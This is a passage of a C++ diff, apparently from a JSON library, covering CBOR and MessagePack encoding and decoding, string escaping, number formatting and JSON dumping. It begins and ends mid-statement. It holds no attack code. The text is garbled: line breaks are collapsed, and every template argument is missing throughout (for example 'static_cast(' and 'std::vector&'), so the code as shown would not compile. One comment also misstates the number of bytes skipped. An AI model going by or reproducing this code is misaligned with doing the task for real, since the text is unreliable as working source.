v.push_back(static_cast(j.m_value.number_unsigned)); + } + else if (j.m_value.number_unsigned <= 0xff) + { + v.push_back(0x18); + // one-byte uint8_t + add_to_vector(v, 1, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= 0xffff) + { + v.push_back(0x19); + // two-byte uint16_t + add_to_vector(v, 2, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= 0xffffffff) + { + v.push_back(0x1a); + // four-byte uint32_t + add_to_vector(v, 4, j.m_value.number_unsigned); + } + else if (j.m_value.number_unsigned <= 0xffffffffffffffff) + { + v.push_back(0x1b); + // eight-byte uint64_t + add_to_vector(v, 8, j.m_value.number_unsigned); + } + break; + } + + case value_t::number_float: + { + // Double-Precision Float + v.push_back(0xfb); + const auto* helper = reinterpret_cast(&(j.m_value.number_float)); + for (size_t i = 0; i < 8; ++i) + { + v.push_back(helper[7 - i]); + } + break; + } + + case value_t::string: + { + const auto N = j.m_value.string->size(); + if (N <= 0x17) + { + v.push_back(0x60 + static_cast(N)); // 1 byte for string + size + } + else if (N <= 0xff) + { + v.push_back(0x78); // one-byte uint8_t for N + add_to_vector(v, 1, N); + } + else if (N <= 0xffff) + { + v.push_back(0x79); // two-byte uint16_t for N + add_to_vector(v, 2, N); + } + else if (N <= 0xffffffff) + { + v.push_back(0x7a); // four-byte uint32_t for N + add_to_vector(v, 4, N); + } + // LCOV_EXCL_START + else if (N <= 0xffffffffffffffff) + { + v.push_back(0x7b); // eight-byte uint64_t for N + add_to_vector(v, 8, N); + } + // LCOV_EXCL_STOP + + // append string + std::copy(j.m_value.string->begin(), j.m_value.string->end(), + std::back_inserter(v)); + break; + } + + case value_t::array: + { + const auto N = j.m_value.array->size(); + if (N <= 0x17) + { + v.push_back(0x80 + static_cast(N)); // 1 byte for array + size + } + else if (N <= 0xff) + { + v.push_back(0x98); // one-byte uint8_t for N + add_to_vector(v, 1, N); + } + else if (N <= 0xffff) + { + v.push_back(0x99); // two-byte uint16_t for N + add_to_vector(v, 2, N); + } + else if (N <= 0xffffffff) + { + v.push_back(0x9a); // four-byte uint32_t for N + add_to_vector(v, 4, N); + } + // LCOV_EXCL_START + else if (N <= 0xffffffffffffffff) + { + v.push_back(0x9b); // eight-byte uint64_t for N + add_to_vector(v, 8, N); + } + // LCOV_EXCL_STOP + + // append each element + for (const auto& el : *j.m_value.array) + { + to_cbor_internal(el, v); + } + break; + } + + case value_t::object: + { + const auto N = j.m_value.object->size(); + if (N <= 0x17) + { + v.push_back(0xa0 + static_cast(N)); // 1 byte for object + size + } + else if (N <= 0xff) + { + v.push_back(0xb8); + add_to_vector(v, 1, N); // one-byte uint8_t for N + } + else if (N <= 0xffff) + { + v.push_back(0xb9); + add_to_vector(v, 2, N); // two-byte uint16_t for N + } + else if (N <= 0xffffffff) + { + v.push_back(0xba); + add_to_vector(v, 4, N); // four-byte uint32_t for N + } + // LCOV_EXCL_START + else if (N <= 0xffffffffffffffff) + { + v.push_back(0xbb); + add_to_vector(v, 8, N); // eight-byte uint64_t for N + } + // LCOV_EXCL_STOP + + // append each element + for (const auto& el : *j.m_value.object) + { + to_cbor_internal(el.first, v); + to_cbor_internal(el.second, v); + } + break; + } + + default: + { + break; + } + } + } + + + /* + @brief checks if given lengths do not exceed the size of a given vector + + To secure the access to the byte vector during CBOR/MessagePack + deserialization, bytes are copied from the vector into buffers. This + function checks if the number of bytes to copy (@a len) does not exceed + the size @s size of the vector. Additionally, an @a offset is given from + where to start reading the bytes. + + This function checks whether reading the bytes is safe; that is, offset is + a valid index in the vector, offset+len + + @param[in] size size of the byte vector + @param[in] len number of bytes to read + @param[in] offset offset where to start reading + + vec: x x x x x X X X X X + ^ ^ ^ + 0 offset len + + @throws out_of_range if `len > v.size()` + */ + static void check_length(const size_t size, const size_t len, const size_t offset) + { + // simple case: requested length is greater than the vector's length + if (len > size or offset > size) + { + JSON_THROW(std::out_of_range("len out of range")); + } + + // second case: adding offset would result in overflow + if ((size > (std::numeric_limits::max() - offset))) + { + JSON_THROW(std::out_of_range("len+offset out of range")); + } + + // last case: reading past the end of the vector + if (len + offset > size) + { + JSON_THROW(std::out_of_range("len+offset out of range")); + } + } + + /*! + @brief create a JSON value from a given MessagePack vector + + @param[in] v MessagePack serialization + @param[in] idx byte index to start reading from @a v + + @return deserialized JSON value + + @throw std::invalid_argument if unsupported features from MessagePack were + used in the given vector @a v or if the input is not valid MessagePack + @throw std::out_of_range if the given vector ends prematurely + + @sa https://github.com/msgpack/msgpack/blob/master/spec.md + */ + static basic_json from_msgpack_internal(const std::vector& v, size_t& idx) + { + // make sure reading 1 byte is safe + check_length(v.size(), 1, idx); + + // store and increment index + const size_t current_idx = idx++; + + if (v[current_idx] <= 0xbf) + { + if (v[current_idx] <= 0x7f) // positive fixint + { + return v[current_idx]; + } + if (v[current_idx] <= 0x8f) // fixmap + { + basic_json result = value_t::object; + const size_t len = v[current_idx] & 0x0f; + for (size_t i = 0; i < len; ++i) + { + std::string key = from_msgpack_internal(v, idx); + result[key] = from_msgpack_internal(v, idx); + } + return result; + } + else if (v[current_idx] <= 0x9f) // fixarray + { + basic_json result = value_t::array; + const size_t len = v[current_idx] & 0x0f; + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_msgpack_internal(v, idx)); + } + return result; + } + else // fixstr + { + const size_t len = v[current_idx] & 0x1f; + const size_t offset = current_idx + 1; + idx += len; // skip content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + } + else if (v[current_idx] >= 0xe0) // negative fixint + { + return static_cast(v[current_idx]); + } + else + { + switch (v[current_idx]) + { + case 0xc0: // nil + { + return value_t::null; + } + + case 0xc2: // false + { + return false; + } + + case 0xc3: // true + { + return true; + } + + case 0xca: // float 32 + { + // copy bytes in reverse order into the double variable + float res; + for (size_t byte = 0; byte < sizeof(float); ++byte) + { + reinterpret_cast(&res)[sizeof(float) - byte - 1] = v.at(current_idx + 1 + byte); + } + idx += sizeof(float); // skip content bytes + return res; + } + + case 0xcb: // float 64 + { + // copy bytes in reverse order into the double variable + double res; + for (size_t byte = 0; byte < sizeof(double); ++byte) + { + reinterpret_cast(&res)[sizeof(double) - byte - 1] = v.at(current_idx + 1 + byte); + } + idx += sizeof(double); // skip content bytes + return res; + } + + case 0xcc: // uint 8 + { + idx += 1; // skip content byte + return get_from_vector(v, current_idx); + } + + case 0xcd: // uint 16 + { + idx += 2; // skip 2 content bytes + return get_from_vector(v, current_idx); + } + + case 0xce: // uint 32 + { + idx += 4; // skip 4 content bytes + return get_from_vector(v, current_idx); + } + + case 0xcf: // uint 64 + { + idx += 8; // skip 8 content bytes + return get_from_vector(v, current_idx); + } + + case 0xd0: // int 8 + { + idx += 1; // skip content byte + return get_from_vector(v, current_idx); + } + + case 0xd1: // int 16 + { + idx += 2; // skip 2 content bytes + return get_from_vector(v, current_idx); + } + + case 0xd2: // int 32 + { + idx += 4; // skip 4 content bytes + return get_from_vector(v, current_idx); + } + + case 0xd3: // int 64 + { + idx += 8; // skip 8 content bytes + return get_from_vector(v, current_idx); + } + + case 0xd9: // str 8 + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 2; + idx += len + 1; // skip size byte + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0xda: // str 16 + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 3; + idx += len + 2; // skip 2 size bytes + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0xdb: // str 32 + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 5; + idx += len + 4; // skip 4 size bytes + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0xdc: // array 16 + { + basic_json result = value_t::array; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 2; // skip 2 size bytes + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_msgpack_internal(v, idx)); + } + return result; + } + + case 0xdd: // array 32 + { + basic_json result = value_t::array; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 4; // skip 4 size bytes + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_msgpack_internal(v, idx)); + } + return result; + } + + case 0xde: // map 16 + { + basic_json result = value_t::object; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 2; // skip 2 size bytes + for (size_t i = 0; i < len; ++i) + { + std::string key = from_msgpack_internal(v, idx); + result[key] = from_msgpack_internal(v, idx); + } + return result; + } + + case 0xdf: // map 32 + { + basic_json result = value_t::object; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 4; // skip 4 size bytes + for (size_t i = 0; i < len; ++i) + { + std::string key = from_msgpack_internal(v, idx); + result[key] = from_msgpack_internal(v, idx); + } + return result; + } + + default: + { + JSON_THROW(std::invalid_argument("error parsing a msgpack @ " + std::to_string(current_idx) + ": " + std::to_string(static_cast(v[current_idx])))); + } + } + } + } + + /*! + @brief create a JSON value from a given CBOR vector + + @param[in] v CBOR serialization + @param[in] idx byte index to start reading from @a v + + @return deserialized JSON value + + @throw std::invalid_argument if unsupported features from CBOR were used in + the given vector @a v or if the input is not valid CBOR + @throw std::out_of_range if the given vector ends prematurely + + @sa https://tools.ietf.org/html/rfc7049 + */ + static basic_json from_cbor_internal(const std::vector& v, size_t& idx) + { + // store and increment index + const size_t current_idx = idx++; + + switch (v.at(current_idx)) + { + // Integer 0x00..0x17 (0..23) + case 0x00: + case 0x01: + case 0x02: + case 0x03: + case 0x04: + case 0x05: + case 0x06: + case 0x07: + case 0x08: + case 0x09: + case 0x0a: + case 0x0b: + case 0x0c: + case 0x0d: + case 0x0e: + case 0x0f: + case 0x10: + case 0x11: + case 0x12: + case 0x13: + case 0x14: + case 0x15: + case 0x16: + case 0x17: + { + return v[current_idx]; + } + + case 0x18: // Unsigned integer (one-byte uint8_t follows) + { + idx += 1; // skip content byte + return get_from_vector(v, current_idx); + } + + case 0x19: // Unsigned integer (two-byte uint16_t follows) + { + idx += 2; // skip 2 content bytes + return get_from_vector(v, current_idx); + } + + case 0x1a: // Unsigned integer (four-byte uint32_t follows) + { + idx += 4; // skip 4 content bytes + return get_from_vector(v, current_idx); + } + + case 0x1b: // Unsigned integer (eight-byte uint64_t follows) + { + idx += 8; // skip 8 content bytes + return get_from_vector(v, current_idx); + } + + // Negative integer -1-0x00..-1-0x17 (-1..-24) + case 0x20: + case 0x21: + case 0x22: + case 0x23: + case 0x24: + case 0x25: + case 0x26: + case 0x27: + case 0x28: + case 0x29: + case 0x2a: + case 0x2b: + case 0x2c: + case 0x2d: + case 0x2e: + case 0x2f: + case 0x30: + case 0x31: + case 0x32: + case 0x33: + case 0x34: + case 0x35: + case 0x36: + case 0x37: + { + return static_cast(0x20 - 1 - v[current_idx]); + } + + case 0x38: // Negative integer (one-byte uint8_t follows) + { + idx += 1; // skip content byte + // must be uint8_t ! + return static_cast(-1) - get_from_vector(v, current_idx); + } + + case 0x39: // Negative integer -1-n (two-byte uint16_t follows) + { + idx += 2; // skip 2 content bytes + return static_cast(-1) - get_from_vector(v, current_idx); + } + + case 0x3a: // Negative integer -1-n (four-byte uint32_t follows) + { + idx += 4; // skip 4 content bytes + return static_cast(-1) - get_from_vector(v, current_idx); + } + + case 0x3b: // Negative integer -1-n (eight-byte uint64_t follows) + { + idx += 8; // skip 8 content bytes + return static_cast(-1) - static_cast(get_from_vector(v, current_idx)); + } + + // UTF-8 string (0x00..0x17 bytes follow) + case 0x60: + case 0x61: + case 0x62: + case 0x63: + case 0x64: + case 0x65: + case 0x66: + case 0x67: + case 0x68: + case 0x69: + case 0x6a: + case 0x6b: + case 0x6c: + case 0x6d: + case 0x6e: + case 0x6f: + case 0x70: + case 0x71: + case 0x72: + case 0x73: + case 0x74: + case 0x75: + case 0x76: + case 0x77: + { + const auto len = static_cast(v[current_idx] - 0x60); + const size_t offset = current_idx + 1; + idx += len; // skip content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0x78: // UTF-8 string (one-byte uint8_t for n follows) + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 2; + idx += len + 1; // skip size byte + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0x79: // UTF-8 string (two-byte uint16_t for n follow) + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 3; + idx += len + 2; // skip 2 size bytes + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0x7a: // UTF-8 string (four-byte uint32_t for n follow) + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 5; + idx += len + 4; // skip 4 size bytes + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0x7b: // UTF-8 string (eight-byte uint64_t for n follow) + { + const auto len = static_cast(get_from_vector(v, current_idx)); + const size_t offset = current_idx + 9; + idx += len + 8; // skip 8 size bytes + content bytes + check_length(v.size(), len, offset); + return std::string(reinterpret_cast(v.data()) + offset, len); + } + + case 0x7f: // UTF-8 string (indefinite length) + { + std::string result; + while (v.at(idx) != 0xff) + { + string_t s = from_cbor_internal(v, idx); + result += s; + } + // skip break byte (0xFF) + idx += 1; + return result; + } + + // array (0x00..0x17 data items follow) + case 0x80: + case 0x81: + case 0x82: + case 0x83: + case 0x84: + case 0x85: + case 0x86: + case 0x87: + case 0x88: + case 0x89: + case 0x8a: + case 0x8b: + case 0x8c: + case 0x8d: + case 0x8e: + case 0x8f: + case 0x90: + case 0x91: + case 0x92: + case 0x93: + case 0x94: + case 0x95: + case 0x96: + case 0x97: + { + basic_json result = value_t::array; + const auto len = static_cast(v[current_idx] - 0x80); + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_cbor_internal(v, idx)); + } + return result; + } + + case 0x98: // array (one-byte uint8_t for n follows) + { + basic_json result = value_t::array; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 1; // skip 1 size byte + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_cbor_internal(v, idx)); + } + return result; + } + + case 0x99: // array (two-byte uint16_t for n follow) + { + basic_json result = value_t::array; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 2; // skip 4 size bytes + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_cbor_internal(v, idx)); + } + return result; + } + + case 0x9a: // array (four-byte uint32_t for n follow) + { + basic_json result = value_t::array; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 4; // skip 4 size bytes + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_cbor_internal(v, idx)); + } + return result; + } + + case 0x9b: // array (eight-byte uint64_t for n follow) + { + basic_json result = value_t::array; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 8; // skip 8 size bytes + for (size_t i = 0; i < len; ++i) + { + result.push_back(from_cbor_internal(v, idx)); + } + return result; + } + + case 0x9f: // array (indefinite length) + { + basic_json result = value_t::array; + while (v.at(idx) != 0xff) + { + result.push_back(from_cbor_internal(v, idx)); + } + // skip break byte (0xFF) + idx += 1; + return result; + } + + // map (0x00..0x17 pairs of data items follow) + case 0xa0: + case 0xa1: + case 0xa2: + case 0xa3: + case 0xa4: + case 0xa5: + case 0xa6: + case 0xa7: + case 0xa8: + case 0xa9: + case 0xaa: + case 0xab: + case 0xac: + case 0xad: + case 0xae: + case 0xaf: + case 0xb0: + case 0xb1: + case 0xb2: + case 0xb3: + case 0xb4: + case 0xb5: + case 0xb6: + case 0xb7: + { + basic_json result = value_t::object; + const auto len = static_cast(v[current_idx] - 0xa0); + for (size_t i = 0; i < len; ++i) + { + std::string key = from_cbor_internal(v, idx); + result[key] = from_cbor_internal(v, idx); + } + return result; + } + + case 0xb8: // map (one-byte uint8_t for n follows) + { + basic_json result = value_t::object; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 1; // skip 1 size byte + for (size_t i = 0; i < len; ++i) + { + std::string key = from_cbor_internal(v, idx); + result[key] = from_cbor_internal(v, idx); + } + return result; + } + + case 0xb9: // map (two-byte uint16_t for n follow) + { + basic_json result = value_t::object; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 2; // skip 2 size bytes + for (size_t i = 0; i < len; ++i) + { + std::string key = from_cbor_internal(v, idx); + result[key] = from_cbor_internal(v, idx); + } + return result; + } + + case 0xba: // map (four-byte uint32_t for n follow) + { + basic_json result = value_t::object; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 4; // skip 4 size bytes + for (size_t i = 0; i < len; ++i) + { + std::string key = from_cbor_internal(v, idx); + result[key] = from_cbor_internal(v, idx); + } + return result; + } + + case 0xbb: // map (eight-byte uint64_t for n follow) + { + basic_json result = value_t::object; + const auto len = static_cast(get_from_vector(v, current_idx)); + idx += 8; // skip 8 size bytes + for (size_t i = 0; i < len; ++i) + { + std::string key = from_cbor_internal(v, idx); + result[key] = from_cbor_internal(v, idx); + } + return result; + } + + case 0xbf: // map (indefinite length) + { + basic_json result = value_t::object; + while (v.at(idx) != 0xff) + { + std::string key = from_cbor_internal(v, idx); + result[key] = from_cbor_internal(v, idx); + } + // skip break byte (0xFF) + idx += 1; + return result; + } + + case 0xf4: // false + { + return false; + } + + case 0xf5: // true + { + return true; + } + + case 0xf6: // null + { + return value_t::null; + } + + case 0xf9: // Half-Precision Float (two-byte IEEE 754) + { + idx += 2; // skip two content bytes + + // code from RFC 7049, Appendix D, Figure 3: + // As half-precision floating-point numbers were only added to + // IEEE 754 in 2008, today's programming platforms often still + // only have limited support for them. It is very easy to + // include at least decoding support for them even without such + // support. An example of a small decoder for half-precision + // floating-point numbers in the C language is shown in Fig. 3. + const int half = (v.at(current_idx + 1) << 8) + v.at(current_idx + 2); + const int exp = (half >> 10) & 0x1f; + const int mant = half & 0x3ff; + double val; + if (exp == 0) + { + val = std::ldexp(mant, -24); + } + else if (exp != 31) + { + val = std::ldexp(mant + 1024, exp - 25); + } + else + { + val = mant == 0 + ? std::numeric_limits::infinity() + : std::numeric_limits::quiet_NaN(); + } + return (half & 0x8000) != 0 ? -val : val; + } + + case 0xfa: // Single-Precision Float (four-byte IEEE 754) + { + // copy bytes in reverse order into the float variable + float res; + for (size_t byte = 0; byte < sizeof(float); ++byte) + { + reinterpret_cast(&res)[sizeof(float) - byte - 1] = v.at(current_idx + 1 + byte); + } + idx += sizeof(float); // skip content bytes + return res; + } + + case 0xfb: // Double-Precision Float (eight-byte IEEE 754) + { + // copy bytes in reverse order into the double variable + double res; + for (size_t byte = 0; byte < sizeof(double); ++byte) + { + reinterpret_cast(&res)[sizeof(double) - byte - 1] = v.at(current_idx + 1 + byte); + } + idx += sizeof(double); // skip content bytes + return res; + } + + default: // anything else (0xFF is handled inside the other types) + { + JSON_THROW(std::invalid_argument("error parsing a CBOR @ " + std::to_string(current_idx) + ": " + std::to_string(static_cast(v[current_idx])))); + } + } + } + + public: + /*! + @brief create a MessagePack serialization of a given JSON value + + Serializes a given JSON value @a j to a byte vector using the MessagePack + serialization format. MessagePack is a binary serialization format which + aims to be more compact than JSON itself, yet more efficient to parse. + + @param[in] j JSON value to serialize + @return MessagePack serialization as byte vector + + @complexity Linear in the size of the JSON value @a j. + + @liveexample{The example shows the serialization of a JSON value to a byte + vector in MessagePack format.,to_msgpack} + + @sa http://msgpack.org + @sa @ref from_msgpack(const std::vector&, const size_t) for the + analogous deserialization + @sa @ref to_cbor(const basic_json& for the related CBOR format + + @since version 2.0.9 + */ + static std::vector to_msgpack(const basic_json& j) + { + std::vector result; + to_msgpack_internal(j, result); + return result; + } + + /*! + @brief create a JSON value from a byte vector in MessagePack format + + Deserializes a given byte vector @a v to a JSON value using the MessagePack + serialization format. + + @param[in] v a byte vector in MessagePack format + @param[in] start_index the index to start reading from @a v (0 by default) + @return deserialized JSON value + + @throw std::invalid_argument if unsupported features from MessagePack were + used in the given vector @a v or if the input is not valid MessagePack + @throw std::out_of_range if the given vector ends prematurely + + @complexity Linear in the size of the byte vector @a v. + + @liveexample{The example shows the deserialization of a byte vector in + MessagePack format to a JSON value.,from_msgpack} + + @sa http://msgpack.org + @sa @ref to_msgpack(const basic_json&) for the analogous serialization + @sa @ref from_cbor(const std::vector&, const size_t) for the + related CBOR format + + @since version 2.0.9, parameter @a start_index since 2.1.1 + */ + static basic_json from_msgpack(const std::vector& v, + const size_t start_index = 0) + { + size_t i = start_index; + return from_msgpack_internal(v, i); + } + + /*! + @brief create a MessagePack serialization of a given JSON value + + Serializes a given JSON value @a j to a byte vector using the CBOR (Concise + Binary Object Representation) serialization format. CBOR is a binary + serialization format which aims to be more compact than JSON itself, yet + more efficient to parse. + + @param[in] j JSON value to serialize + @return MessagePack serialization as byte vector + + @complexity Linear in the size of the JSON value @a j. + + @liveexample{The example shows the serialization of a JSON value to a byte + vector in CBOR format.,to_cbor} + + @sa http://cbor.io + @sa @ref from_cbor(const std::vector&, const size_t) for the + analogous deserialization + @sa @ref to_msgpack(const basic_json& for the related MessagePack format + + @since version 2.0.9 + */ + static std::vector to_cbor(const basic_json& j) + { + std::vector result; + to_cbor_internal(j, result); + return result; + } + + /*! + @brief create a JSON value from a byte vector in CBOR format + + Deserializes a given byte vector @a v to a JSON value using the CBOR + (Concise Binary Object Representation) serialization format. + + @param[in] v a byte vector in CBOR format + @param[in] start_index the index to start reading from @a v (0 by default) + @return deserialized JSON value + + @throw std::invalid_argument if unsupported features from CBOR were used in + the given vector @a v or if the input is not valid MessagePack + @throw std::out_of_range if the given vector ends prematurely + + @complexity Linear in the size of the byte vector @a v. + + @liveexample{The example shows the deserialization of a byte vector in CBOR + format to a JSON value.,from_cbor} + + @sa http://cbor.io + @sa @ref to_cbor(const basic_json&) for the analogous serialization + @sa @ref from_msgpack(const std::vector&, const size_t) for the + related MessagePack format + + @since version 2.0.9, parameter @a start_index since 2.1.1 + */ + static basic_json from_cbor(const std::vector& v, + const size_t start_index = 0) + { + size_t i = start_index; + return from_cbor_internal(v, i); + } + + /// @} + + /////////////////////////// + // convenience functions // + /////////////////////////// + + /*! + @brief return the type as string + + Returns the type name as string to be used in error messages - usually to + indicate that a function was called on a wrong JSON type. + + @return basically a string representation of a the @a m_type member + + @complexity Constant. + + @liveexample{The following code exemplifies `type_name()` for all JSON + types.,type_name} + + @since version 1.0.0, public since 2.1.0 + */ + std::string type_name() const + { + { + switch (m_type) + { + case value_t::null: + return "null"; + case value_t::object: + return "object"; + case value_t::array: + return "array"; + case value_t::string: + return "string"; + case value_t::boolean: + return "boolean"; + case value_t::discarded: + return "discarded"; + default: + return "number"; + } + } + } + + private: + /*! + @brief calculates the extra space to escape a JSON string + + @param[in] s the string to escape + @return the number of characters required to escape string @a s + + @complexity Linear in the length of string @a s. + */ + static std::size_t extra_space(const string_t& s) noexcept + { + return std::accumulate(s.begin(), s.end(), size_t{}, + [](size_t res, typename string_t::value_type c) + { + switch (c) + { + case '"': + case '\\': + case '\b': + case '\f': + case '\n': + case '\r': + case '\t': + { + // from c (1 byte) to \x (2 bytes) + return res + 1; + } + + default: + { + if (c >= 0x00 and c <= 0x1f) + { + // from c (1 byte) to \uxxxx (6 bytes) + return res + 5; + } + + return res; + } + } + }); + } + + /*! + @brief escape a string + + Escape a string by replacing certain special characters by a sequence of + an escape character (backslash) and another character and other control + characters by a sequence of "\u" followed by a four-digit hex + representation. + + @param[in] s the string to escape + @return the escaped string + + @complexity Linear in the length of string @a s. + */ + static string_t escape_string(const string_t& s) + { + const auto space = extra_space(s); + if (space == 0) + { + return s; + } + + // create a result string of necessary size + string_t result(s.size() + space, '\\'); + std::size_t pos = 0; + + for (const auto& c : s) + { + switch (c) + { + // quotation mark (0x22) + case '"': + { + result[pos + 1] = '"'; + pos += 2; + break; + } + + // reverse solidus (0x5c) + case '\\': + { + // nothing to change + pos += 2; + break; + } + + // backspace (0x08) + case '\b': + { + result[pos + 1] = 'b'; + pos += 2; + break; + } + + // formfeed (0x0c) + case '\f': + { + result[pos + 1] = 'f'; + pos += 2; + break; + } + + // newline (0x0a) + case '\n': + { + result[pos + 1] = 'n'; + pos += 2; + break; + } + + // carriage return (0x0d) + case '\r': + { + result[pos + 1] = 'r'; + pos += 2; + break; + } + + // horizontal tab (0x09) + case '\t': + { + result[pos + 1] = 't'; + pos += 2; + break; + } + + default: + { + if (c >= 0x00 and c <= 0x1f) + { + // convert a number 0..15 to its hex representation + // (0..f) + static const char hexify[16] = + { + '0', '1', '2', '3', '4', '5', '6', '7', + '8', '9', 'a', 'b', 'c', 'd', 'e', 'f' + }; + + // print character c as \uxxxx + for (const char m : + { 'u', '0', '0', hexify[c >> 4], hexify[c & 0x0f] + }) + { + result[++pos] = m; + } + + ++pos; + } + else + { + // all other characters are added as-is + result[pos++] = c; + } + break; + } + } + } + + return result; + } + + + /*! + @brief locale-independent serialization for built-in arithmetic types + */ + struct numtostr + { + public: + template + numtostr(NumberType value) + { + x_write(value, std::is_integral()); + } + + const char* c_str() const + { + return m_buf.data(); + } + + private: + /// a (hopefully) large enough character buffer + std::array < char, 64 > m_buf{{}}; + + template + void x_write(NumberType x, /*is_integral=*/std::true_type) + { + // special case for "0" + if (x == 0) + { + m_buf[0] = '0'; + return; + } + + const bool is_negative = x < 0; + size_t i = 0; + + // spare 1 byte for '\0' + while (x != 0 and i < m_buf.size() - 1) + { + const auto digit = std::labs(static_cast(x % 10)); + m_buf[i++] = static_cast('0' + digit); + x /= 10; + } + + // make sure the number has been processed completely + assert(x == 0); + + if (is_negative) + { + // make sure there is capacity for the '-' + assert(i < m_buf.size() - 2); + m_buf[i++] = '-'; + } + + std::reverse(m_buf.begin(), m_buf.begin() + i); + } + + template + void x_write(NumberType x, /*is_integral=*/std::false_type) + { + // special case for 0.0 and -0.0 + if (x == 0) + { + size_t i = 0; + if (std::signbit(x)) + { + m_buf[i++] = '-'; + } + m_buf[i++] = '0'; + m_buf[i++] = '.'; + m_buf[i] = '0'; + return; + } + + // get number of digits for a text -> float -> text round-trip + static constexpr auto d = std::numeric_limits::digits10; + + // the actual conversion + const auto written_bytes = snprintf(m_buf.data(), m_buf.size(), "%.*g", d, x); + + // negative value indicates an error + assert(written_bytes > 0); + // check if buffer was large enough + assert(static_cast(written_bytes) < m_buf.size()); + + // read information from locale + const auto loc = localeconv(); + assert(loc != nullptr); + const char thousands_sep = !loc->thousands_sep ? '\0' + : loc->thousands_sep[0]; + + const char decimal_point = !loc->decimal_point ? '\0' + : loc->decimal_point[0]; + + // erase thousands separator + if (thousands_sep != '\0') + { + const auto end = std::remove(m_buf.begin(), m_buf.begin() + written_bytes, thousands_sep); + std::fill(end, m_buf.end(), '\0'); + } + + // convert decimal point to '.' + if (decimal_point != '\0' and decimal_point != '.') + { + for (auto& c : m_buf) + { + if (c == decimal_point) + { + c = '.'; + break; + } + } + } + + // determine if need to append ".0" + size_t i = 0; + bool value_is_int_like = true; + for (i = 0; i < m_buf.size(); ++i) + { + // break when end of number is reached + if (m_buf[i] == '\0') + { + break; + } + + // check if we find non-int character + value_is_int_like = value_is_int_like and m_buf[i] != '.' and + m_buf[i] != 'e' and m_buf[i] != 'E'; + } + + if (value_is_int_like) + { + // there must be 2 bytes left for ".0" + assert((i + 2) < m_buf.size()); + // we write to the end of the number + assert(m_buf[i] == '\0'); + assert(m_buf[i - 1] != '\0'); + + // add ".0" + m_buf[i] = '.'; + m_buf[i + 1] = '0'; + + // the resulting string is properly terminated + assert(m_buf[i + 2] == '\0'); + } + } + }; + + + /*! + @brief internal implementation of the serialization function + + This function is called by the public member function dump and organizes + the serialization internally. The indentation level is propagated as + additional parameter. In case of arrays and objects, the function is + called recursively. Note that + + - strings and object keys are escaped using `escape_string()` + - integer numbers are converted implicitly via `operator<<` + - floating-point numbers are converted to a string using `"%g"` format + + @param[out] o stream to write to + @param[in] pretty_print whether the output shall be pretty-printed + @param[in] indent_step the indent level + @param[in] current_indent the current indent level (only used internally) + */ + void dump(std::ostream& o, + const bool pretty_print, + const unsigned int indent_step, + const unsigned int current_indent = 0) const + { + // variable to hold indentation for recursive calls + unsigned int new_indent = current_indent; + + switch (m_type) + { + case value_t::object: + { + if (m_value.object->empty()) + { + o << "{}"; + return; + } + + o << "{"; + + // increase indentation + if (pretty_print) + { + new_indent += indent_step; + o << "\n"; + } + + for (auto i = m_value.object->cbegin(); i != m_value.object->cend(); ++i) + { + if (i != m_value.object->cbegin()) + { + o << (pretty_print ? ",\n" : ","); + } + o << string_t(new_indent, ' ') << "\"" + << escape_string(i->first) << "\":" + << (pretty_print ? " " : ""); + i->second.dump(o, pretty_print, indent_step, new_indent); + } + + // decrease indentation + if (pretty_print) + { + new_indent -= indent_step; + o << "\n"; + } + + o << string_t(new_indent, ' ') + "}"; + return; + } + + case value_t::array: + { + if (m_value.array->empty()) + { + o << "[]"; + return; + } + + o << "["; + + // increase indentation + if (pretty_print) + { + new_indent += indent_step; + o << "\n"; + } + + for (auto i = m_value.array->cbegin(); i != m_value.array->cend(); ++i) + { + if (i != m_value.array->cbegin()) + { + o << (pretty_print ? ",\n" : ","); + } + o << string_t(new_indent, ' '); + i->dump(o, pretty_print, indent_step, new_indent); + } + + // decrease indentation + if (pretty_print) + { + new_indent -= indent_step; + o << "\n"; + } + + o << string_t(new_indent, ' ') << "]"; + return; + } + + case value_t::string: + { + o << string_t("\"") << escape_string(*m_value.string) << "\""; + return; + } + + case value_t::boolean: + { + o << (m_value.boolean ? "true" : "false"); + return; + } + + case value_t::number_integer: + { + o << numtostr(m_value.number_integer).c_str(); + return; + } + + case value_t::number_unsigned: + { + o << 